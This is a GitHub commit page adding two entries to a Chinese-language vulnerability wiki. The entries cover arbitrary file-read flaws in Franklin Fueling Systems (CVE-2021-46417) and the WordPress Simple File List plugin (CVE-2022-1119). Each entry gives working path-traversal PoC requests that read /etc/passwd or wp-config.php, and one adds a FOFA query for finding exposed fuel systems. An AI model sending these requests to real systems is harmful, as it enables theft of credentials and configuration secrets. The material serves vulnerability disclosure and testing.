forked from Threekiii/Vulnerability-Wiki
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
96 additions
and
0 deletions.
There are no files selected for viewing
34 changes: 34 additions & 0 deletions
34
...ocs/appserver/Franklin-Fueling-Systems-tsaupload.cgi-任意文件读取漏洞-CVE-2021-46417.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,34 @@ | ||
| # Franklin Fueling Systems tsaupload.cgi 任意文件读取漏洞 CVE-2021-46417 | ||
|
|
||
| ## 漏洞描述 | ||
|
|
||
| Franklin Electric Franklin Fueling Systems是美国Franklin Electric公司的一个加油系统。 | ||
|
|
||
| Franklin Fueling Systems tsaupload.cgi 存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器敏感文件。 | ||
|
|
||
| ## 漏洞影响 | ||
|
|
||
| ``` | ||
| Franklin Fueling Systems | ||
| ``` | ||
|
|
||
| ## FOFA | ||
|
|
||
| ``` | ||
| "Franklin Fueling Systems" | ||
| ``` | ||
|
|
||
| ## 漏洞复现 | ||
|
|
||
| 主页面 | ||
|
|
||
|  | ||
|
|
||
| 验证POC | ||
|
|
||
| ``` | ||
| /cgi-bin/tsaupload.cgi?file_name=../../../../../../etc/passwd&password= | ||
| ``` | ||
|
|
||
|  | ||
|
|
57 changes: 57 additions & 0 deletions
57
...ppserver/WordPress Simple File List ee-downloader.php 任意文件读取漏洞 CVE-2022-1119.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,57 @@ | ||
| # WordPress Simple File List ee-downloader.php 任意文件读取漏洞 CVE-2022-1119 | ||
|
|
||
| ## 漏洞描述 | ||
|
|
||
| WordPress Simple File List插件 ee-downloader.php文件存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器中的任意文件 | ||
|
|
||
| ## 漏洞影响 | ||
|
|
||
| ``` | ||
| WordPress Simple File List < 3.2.8 | ||
| ``` | ||
|
|
||
| ## 插件名 | ||
|
|
||
| Simple File List | ||
|
|
||
| https://downloads.wordpress.org/plugin/simple-file-list.3.2.17.zip | ||
|
|
||
| ## 漏洞复现 | ||
|
|
||
| 存在漏洞的文件为 `wp-content/plugins/simple-file-list/includes/ee-downloader.php` | ||
|
|
||
|  | ||
|
|
||
| ```php | ||
| <?php // Simple File List - ee-downloader.php - rev 1.19 - mitchellbennis@gmail.com | ||
|
|
||
| // Force File to Download | ||
| // This script is accessed via javascript on ee-download.php | ||
|
|
||
| $eeFile = filter_var($_GET['eeFile'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_LOW); | ||
|
|
||
| if(is_readable($eeFile)) { | ||
|
|
||
| header('Pragma: public'); // required | ||
| header('Expires: 0'); // no cache | ||
| header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); | ||
| header('Last-Modified: '. gmdate ('D, d M Y H:i:s', filemtime ($eeFile)) .' GMT'); | ||
| header('Cache-Control: private',false); | ||
| header('Content-Type: ' . mime_content_type($eeFile) ); | ||
| header('Content-Disposition: attachment; filename="'. basename($eeFile) .'"'); | ||
| // header('Content-Transfer-Encoding: binary'); | ||
| header('Content-Length: '. filesize($eeFile)); // provide file size | ||
| header('Connection: close'); | ||
| readfile($eeFile); // Start the download | ||
|
|
||
| } | ||
| ?> | ||
| ``` | ||
|
|
||
| 直接传参获取文件信息, 验证POC | ||
|
|
||
| ``` | ||
| /wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php | ||
| ``` | ||
|
|
||
|  |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters